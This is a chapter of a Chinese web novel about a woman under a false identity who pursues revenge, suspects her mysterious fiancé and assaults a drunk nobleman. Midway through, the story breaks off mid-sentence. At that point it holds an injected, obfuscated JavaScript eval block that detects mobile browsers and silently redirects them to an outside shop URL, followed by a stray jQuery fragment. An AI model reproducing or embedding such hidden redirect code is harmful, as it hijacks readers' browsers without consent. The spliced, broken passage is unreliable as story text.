文趣网 > 其他小说 > 她的第三张假面 > 35.我不会有报应
    听到这句话,她整个人僵住了。

    第一次,那种不受控制的感觉在她身上蔓延。

    他到底是谁……为什么会知道她不希望约翰死掉?

    “你是谁?”

    这也是第一次,她觉得有点慌了。

    一直以来她都是那个在暗处的人,从不曾想到会有一天,自己会变成那个在明处的人。

    这种感觉是令人不安的。

    大概是没想到她反应会这么激烈,他手指蜷缩又放开,反复了好几次才平息下来。

    “我是圣莱克,你未来的丈夫。”

    “所以我未来的妻子,如果有什么需要我帮助的,可以告诉我。”

    “我……会是你值得信赖的人。”

    值得信赖的人?他大概不会知道,她听到这句话有多想笑。

    这个世界上,最值得信赖的,就是永远都开不了口死人。

    人都是善变的,都是自私的,如果真的相信了,说不定哪天就会伸出利齿,反咬你一口。

    她没有接话,只是无形间又多了几分警惕。

    她必须要知道他是谁,这对于她来说,就是一个极大的隐患。

    “不信我也没关系,别害怕。”

    他摸了摸她的头,突然蹲了下来。

    不知道什么原因,塞尔警惕的想要后退。

    他却默默的,伸手拉住了她的脚腕。

    力气不大,但她确实无法动弹了。

    “受伤了,擦药。”

    他说,腿上受伤了。

    她垂头一看,确实,布满了青紫的痕迹。

    看起来触目惊心。

    那一小瓶药看起来有点熟悉。

    猛的,她想起了一个人,那是唯一一个在她受伤时会冷冷的给她递药的人。

    “痛吗?”

    他动作很轻,又像是珍重,极其小心。

    只是手指摩擦间总给她一种缠绵的感觉。

    五分钟可以擦好的药他硬生生擦了二十分钟。

    “还没好吗?你可以放开我了。”

    半蹲在地上的人很久没动。

    她稍稍一动他又强势的拉住她的腿。

    她皱了皱眉,本想在他脖颈处给他致命一击。

    可还没等她的计划成为现实,那个人就站起来了。

    他嘴角有些血迹,虽然不是很明显,可在嘴角还是格外显眼。

    “别闹了,我抱你回去。”

    她不愿意让他抱,因为她总觉得,圣莱克这个人有些高深莫测。

    他藏得深,让她感觉很不舒服。

    可在绝对的力量面前,她连挣扎的力气都没有。

    “塞尔小姐。”

    “?”

    “达到自己想要的目的,有很多种方式,而最不应该用的,就是以伤害自己来达到目的。”

    他的话没有明说,字里行间都藏着暗示。

    所以她摸不准他到底知道了什么。

    是不是知道自己的目的了?是不是知道自己要报仇了?

    又或许,是不是已经知道自己的身份了?

    这一切的一切,隔着一层皮肉,他们谁也无从得知。

    “我不明白圣莱克先生说的是什么意思,也不知道圣莱克先生为什么要说这些话。”

    在外人看来或许是真的蠢。

    可实际上,他们不知道,她对自己的身体,自己的一切都无所谓。

    她甚至并不会觉得这样痛苦。

    是不是男人,是哪个男人,是不是自愿,她其实都没有概念。

    只是旁人觉得一切痛苦或开心的事情,在她眼中,都像白水一样毫无味道。

    她只要达到目的就好了,至于过程是怎样,自己会因此损失什么,她根本就不在乎。

    很多时候,她甚至感受不到这个世界的悲欢喜乐。

    所以常常无法共情,也不会共情。

    那既然连感受都没有,又有什么关系呢?

    “塞尔小姐,我……”

    他似乎想说什么。

    可哽咽了两次,还是没办法说出口。

    算了。

    “塞尔小姐就当我在自言自语吧。”

    其实不是没有耐心。

    只是更多的是心疼,是无能为力的窒息感。

    他的世界有了这么一束光亮。

    那她呢?她的世界有过希望吗?

    那么她绝望的时候,又是怎么度过的呢?

    回去的路其实很长,但他居然是一路背着她出去的。

    “圣莱克先生想退婚的话,我可以直接同我父亲讲,当然如果你要等一个好的时间,也可以。”

    她心里是笃定他会退婚的。

    毕竟男人不都是喜欢干净的吗?

    看见了她另一面,他一定会觉得很恶心才对。

    “不退婚,我说过了,我相信塞尔小姐。”

    “?”

    都亲眼看见了还说相信。

    她是该说他自欺欺人呢,还是自欺欺人呢?

    他把她送到就离开了。

    背影有些仓促,踉跄,落魄。

    可不论哪一样,都是她想不通为什么会在他身上存在的。

    晚上的时候,她感觉有冰凉的水滴在自己脸上。

    可醒过来一看,却又什么都没有发现。

    醒了睡不着,她又下楼,看着安妮夫人的遗像发呆。

    “塞尔小姐,您没事吧?”

    “没事,在我昏迷之后,他都做了什么?”

    希伯弯腰,将那个巫师是怎么烧她头发以及衣服的事说的一清二楚。

    其中还包括,那个巫师怀疑她身份的事情。

    “没想到,那个巫师还真是有两下子。”

    只可惜,道行还是不够。

    只怕他们想破脑袋也不会想到,她一人分饰三角。

    所以那种小术法,对于她这种假人来说毫无作用。

    当然,假的终归是假的。

    人只要活着,就不可能全无破绽。

    身份迟早有一天会暴露。

    但那又怎样,就算要下地狱,她也一定要让那些人先深受折磨。

    “安妮夫人,人呢,就是不能做坏事。”

    “这不你看,就算你死了,报应也不会迟到。”

    “它会降临在你的子子孙孙上,除了你的宝贝儿子,你的宝贝女儿。”

    “还有你那未曾谋面的孙子,哦对了,忘了说了,那狗崽子就算生下来了,也不知道是谁的种呢。”

    “你们引以为傲的贵族血统啊,真是被搅得一塌糊涂。”

    她笑了。

    指甲抠在画像上硬生生的给那玻璃边框抓出些痕迹来。

    “而我就不一样了,我这辈子都不会有子孙后代,所以报应这辈子都轮不到我哈哈哈哈哈!”

    对她来说,降临在她身上的报应根本就不是报应。

    而是不痛不痒的笑话。

    痛她不怕,死她更不怕。

    所以老天又有什么报应可以给她呢?

    人啊,果然无欲无求无所牵挂就能无所不能,所向披靡。

    这个世界,只要是她想的,她都可以不惜一切,不计手段的去得到。

    当然她要是想毁了一个人。

    那么那个人,必毁。

    希伯站在她身后,眼神不免有些同情。

    他跟在塞尔小姐身后,为塞尔小姐卖命。

    但其实,他对塞尔小姐的一切一无所知。

    他只以为,她和约翰是真的亲兄妹。

    被自己的哥哥这样算计,的确算得上可怜。

    “塞尔小姐,我还有事情汇报。”

    见她面色苍白。

    他及时打断了她的思绪。

    有时候,沉浸在过去的人是需要别人拉一把的。

    “说。”

    “最近我发现,圣莱克先生居然和格瑞丝走得近了。”

    “而格瑞丝最近对亚斯都很惧怕,我怀疑……圣莱克先生这个人,恐怕不单纯。”

    “?你说什么?圣莱克和格瑞丝走得近?”

    她确实惊讶。

    因为无论如何,这两个人也没有被她联系到一起过。

    看似不可能有交集的两个人居然走得近了起来?

    这样听起来,确实匪夷所思。

    “嗯,两人都是私下见面的。”

    “可能……亚斯也没有想到,圣莱克会去接近格瑞丝。”

    “这也是您让我们多盯着格瑞丝,我们无意中才发现的,我还发现,每次和圣莱克先生接触后,格瑞丝的心情就会变得非常好。”

    “只是我不知道圣莱克先生是图什么。”

    确实,格瑞丝虽然是高高在上的贵族小姐,可她毕竟已经结婚了。

    圣莱克就算想和她结婚也没可能了,而且,就格瑞丝现在那副被折磨狠了的样子。

    也不知道圣莱克是怎么看得下去,并且面不改色的。

    “或许……是他早就喜欢了格瑞丝这个人?”

    “可是……这似乎也不太可能,毕竟是他先要和您订婚的。”

    事情真是变得越来越难掌控了。

    因为圣莱克的出现,让她这个布局的人都有些看不清了。

    棋乱了,难解。

    “圣莱克……”

    她皱眉想着,只觉得脑瓜子一阵一阵的疼。

    要说圣莱克是喜欢格瑞丝的话,那他在自己面前的那些行为未免也太会演。

    推翻一切细节,假设他就是喜欢格瑞丝的话,那主动要和自己订婚又是为了什么呢?

    难道是知道了自己的计划,打算给格瑞丝报仇?

    “可是不应该啊……”

    这些事全程都是亚斯在动手,她在幕后坐收渔翁之利。

    所以圣莱克不可能会知道她的计划。

    那圣莱克这又是在玩哪出?

    “他们在一起都做了什么?看清楚了吗?”

    “因为怕被发现,所以我们跟得很远,只能看见身影,也听不见他们说了什么。”

    “但是就外表来看,两人没有做什么出格的举动,每次见面会聊上一两个小时。”

    “格瑞丝回

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710649|208297||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    去后心情就会非常好。”

    “圣莱克的心情呢?”

    “嗯……冷淡,和平常比没有什么特殊的。”

    “两人偷偷见面,亚斯从始至终都没有发现过异常?”

    “没有,亚斯平常对格瑞丝挺不关心的。”

    “除了要安排人折磨她的时候,其他时间都是不管她死活的。”

    “那些奴隶也是只要保证她在城堡里就好了,圣莱克先生也是偷偷潜入城堡的。”

    “格瑞丝知道圣莱克的身份吗?”

    “这个……不清楚。”

    “我这边只知道他们现在每天都会见一面。”

    事情越来越有意思了。

    圣莱克这个人太过神秘。

    她明天必须要亲自去看看了。

    第二天的时候,还没等她出去。

    圣莱克就带着大批人过来了。

    她听见他和安德烈的谈话了。

    大意就是要和她早点结婚。

    “想听的话,不用藏起来偷偷听,你是我的未婚妻,你可以进去光明正大的听。”

    才在角落里没站多久,他就走出来把她揪了出来。

    即使偷听被抓,她脸上也没有尴尬的情绪。

    自始至终非常淡然,有的,只是不动声色的观察。

    “你真要和我结婚?”

    “是。”

    他害怕她又提昨天那件事。

    想岔开话题却又不知道说些什么。

    “圣莱克,你和我结婚,到底有什么目的?”

    如果他昨天没有亲眼见到那些事,她或许可以觉得他是喜欢她。

    可是他明明见到了,也生气了,偏偏又装作无所谓的样子。

    让她觉得他这个人无比的虚假。

    装什么,男人不都是极其要面子的吗?又怎么还会娶她这种不干不净的女人。

    “塞尔小姐,相信我一次。”

    “你所怀疑的,你所疑惑的一切,等时机到了,我都会告诉你的。”

    他慢慢贴到她耳边,语气异常诚恳。

    “我,圣莱克,永远和塞尔小姐统一战线。”

    他从来就不想骗她。

    也不想她整天活在猜忌当中。

    只是情势不允许,一切的一切都不允许。

    现在还太早了,他还不能告诉她。

    她看着他,没有说话,只是心里起了杀心。

    圣莱克的不可控因素太大了,他对于她的威胁太大了。

    如果一直摸不清他是谁,有什么目的的话,那他必须死。

    只有死人,才是最安全的存在。

    “好了。”

    “塞尔小姐安安心心等着结婚吧,不要多想。”

    他看起来很疲惫。

    轻轻摸了她的脸就回去了。

    他走后,她浑身包裹严实,也跟了上去。

    她要知道,他和格瑞丝走近的目的是什么。

    两人又做了些什么。

    没有人比她更熟悉亚斯城堡的布局了。

    这里的每一个角落都被她摸了个透。

    所以偷偷潜入简直毫不费力。

    “主人休息了,你们做事小声一点。”

    “不要吵到了主人。”

    “是。”

    在城堡里偷偷跑了好远。

    不知不觉到了亚斯的书房旁。

    还没走近,就听到了阿达吩咐的声音。

    她抬脚想走,可想到狗男人之前搞软禁,对她做的那些事,她就越想越气。

    即便用的是塞尔的身份,亚斯这个狗男人还是我行我素,想对她做什么就做什么。

    秉着有仇必报的思想,她从窗户爬了进去。

    大概是老天都在帮他,那个狗男人哪里是睡着了,分明就是喝酒喝醉了。

    “还以为收拾你要费些力气,没想到你直接就洗干净了在这等着呢。”

    “挺好,至少准备的药都用不上了。”

    她对亚斯十分了解,所以知道他什么时候是真醉,什么时候是假醉。

    而像现在这样,整个人像烂泥一样瘫在椅子上。

    就是醉得不省人事了。

    他怀里抱着一个画框,有画像的一面被他抱在怀中。

    她上前扒拉了一下,没拉动。

    “什么东西抱这么紧?啧。”

    “亚斯啊亚斯,接下来就好好享受你的专属按摩吧。”

    她贴心的把门窗关好,确保不会有丝毫的声音传出去后。

    在书桌旁,拿起他的金色手杖在手里掂了掂。

    “不错啊,看起来还挺顺手的。”

    拿着那个有些重量的金色手杖,她毫不犹豫的,一棍子打在了他的肩膀上。

    威力挺大,所以他连人带凳子,往旁边偏了偏,她顺势一踢他就滚在了地上。

    男人闷哼一声,怀里的画框也掉到了地上。

    落地时,那画框弹着翻了个面,正面的玻璃被砸得有些破损了。

    而她,站在原地看清楚了那画像上面的人。

    那上面,画的云听染。